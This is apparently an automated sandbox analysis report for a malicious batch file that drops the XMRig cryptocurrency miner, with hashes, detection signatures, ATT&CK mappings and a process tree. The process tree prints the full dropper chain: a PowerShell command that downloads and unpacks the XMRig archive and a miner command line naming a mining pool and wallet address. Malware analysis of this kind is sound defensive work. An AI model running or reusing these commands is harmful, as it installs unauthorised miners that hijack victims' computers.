xmrig | c0768ace239b9f133dfbb33d830ff9bf0580b167e2a6b0f015950f7aa2b1f768

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Analysis

max time kernel
316s
max time network
1799s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
20-05-2024 20:53

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General

Target

2.bat
Size

599B
MD5

798b979417aa88e5323ead9be2d8425c
SHA1

a54c5133c71afddf697f302b36bdb930c72852ce
SHA256

f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
SHA512

a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b

Score

10^/10

xmrig execution miner

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip

Signatures

XMRig Miner payload 2 IoCs

miner

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	family_xmrig
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe	xmrig

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exe

flow pid process

2 2028 powershell.exe
5 2028 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

xmrig.exe

pid process

5080 xmrig.exe
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Using powershell.exe command.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exe

pid process

2028 powershell.exe
3992 powershell.exe
Suspicious behavior: EnumeratesProcesses 6 IoCs

Processes:

powershell.exepowershell.exe

pid process

2028 powershell.exe
2028 powershell.exe
2028 powershell.exe
3992 powershell.exe
3992 powershell.exe
3992 powershell.exe

flow	pid	process
2	2028	powershell.exe
5	2028	powershell.exe

pid	process
5080	xmrig.exe

pid	process
2028	powershell.exe
3992	powershell.exe

pid	process
2028	powershell.exe
2028	powershell.exe
2028	powershell.exe
3992	powershell.exe
3992	powershell.exe
3992	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exexmrig.exe

description	pid	process
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	3992	powershell.exe
Token: SeLockMemoryPrivilege	5080	xmrig.exe
Token: SeLockMemoryPrivilege	5080	xmrig.exe

Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

xmrig.exe

pid process

5080 xmrig.exe

pid	process
5080	xmrig.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 2916 wrote to memory of 2028	2916	cmd.exe	powershell.exe
PID 2916 wrote to memory of 2028	2916	cmd.exe	powershell.exe
PID 2916 wrote to memory of 3992	2916	cmd.exe	powershell.exe
PID 2916 wrote to memory of 3992	2916	cmd.exe	powershell.exe
PID 2916 wrote to memory of 5080	2916	cmd.exe	xmrig.exe
PID 2916 wrote to memory of 5080	2916	cmd.exe	xmrig.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2916

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"
2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3992

C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe
xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:5080

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
42d4b1d78e6e092af15c7aef34e5cf45

SHA1
6cf9d0e674430680f67260194d3185667a2bb77b

SHA256
c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

SHA512
d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
2c2bd1f45231e6965ea93bbc11aff2e9

SHA1
43bde0f5d97d31275301581fbc300dffb2931ebd

SHA256
f92dfe308b5e0ea0aae4f06bcc3b168e85a715a1d7a46aff9a5d7ce0ebabb654

SHA512
ff47be3501f8e0721078cba4ec7a0a6eed3dd58a6d37a24ae9ca0ce0e4af4e15d09eb6874e296058bd6091194e0aa0c3c0e4d9006a2242745c664d4561382438

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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_brqlj4af.qjs.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

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C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3-msvc-win64.zip

Filesize
2.5MB

MD5
cef0ae1ab544e40b659261a4e07fe48f

SHA1
e5ff855ce3c7726a50eb50a634ff9f406b3df093

SHA256
713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e

SHA512
1fb23b385e6cff3653f0b4b397d092c7be4df62899c97e18f675df2024e5f06ef2596fb626b85ae2ef7d7583c5bf54b00dba1a5ad566c2707a669a48d9814ba8

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C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe

Filesize
6.1MB

MD5
c0f8959614ae06561216158d78a787e5

SHA1
73167d1fd0cee1c96a6505606d21cbfe4369eb00

SHA256
e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0

SHA512
a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746

Download Submit
memory/2028-9-0x0000014BCEDA0000-0x0000014BCEE16000-memory.dmp

Filesize
472KB

Download
memory/2028-10-0x00007FF931350000-0x00007FF931D3C000-memory.dmp

Filesize
9.9MB

Download
memory/2028-25-0x00007FF931350000-0x00007FF931D3C000-memory.dmp

Filesize
9.9MB

Download
memory/2028-30-0x00007FF931350000-0x00007FF931D3C000-memory.dmp

Filesize
9.9MB

Download
memory/2028-7-0x00007FF931350000-0x00007FF931D3C000-memory.dmp

Filesize
9.9MB

Download
memory/2028-3-0x00007FF931353000-0x00007FF931354000-memory.dmp

Filesize
4KB

Download
memory/2028-5-0x0000014BCEAE0000-0x0000014BCEB02000-memory.dmp

Filesize
136KB

Download
memory/3992-39-0x00007FF931350000-0x00007FF931D3C000-memory.dmp

Filesize
9.9MB

Download
memory/3992-62-0x00007FF931350000-0x00007FF931D3C000-memory.dmp

Filesize
9.9MB

Download
memory/3992-76-0x00000272E0D20000-0x00000272E0D32000-memory.dmp

Filesize
72KB

Download
memory/3992-37-0x00007FF931350000-0x00007FF931D3C000-memory.dmp

Filesize
9.9MB

Download
memory/3992-89-0x00000272E0840000-0x00000272E084A000-memory.dmp

Filesize
40KB

Download
memory/3992-113-0x00007FF931350000-0x00007FF931D3C000-memory.dmp

Filesize
9.9MB

Download
memory/3992-36-0x00007FF931350000-0x00007FF931D3C000-memory.dmp

Filesize
9.9MB

Download
memory/5080-117-0x000001FB602D0000-0x000001FB602F0000-memory.dmp

Filesize
128KB

Download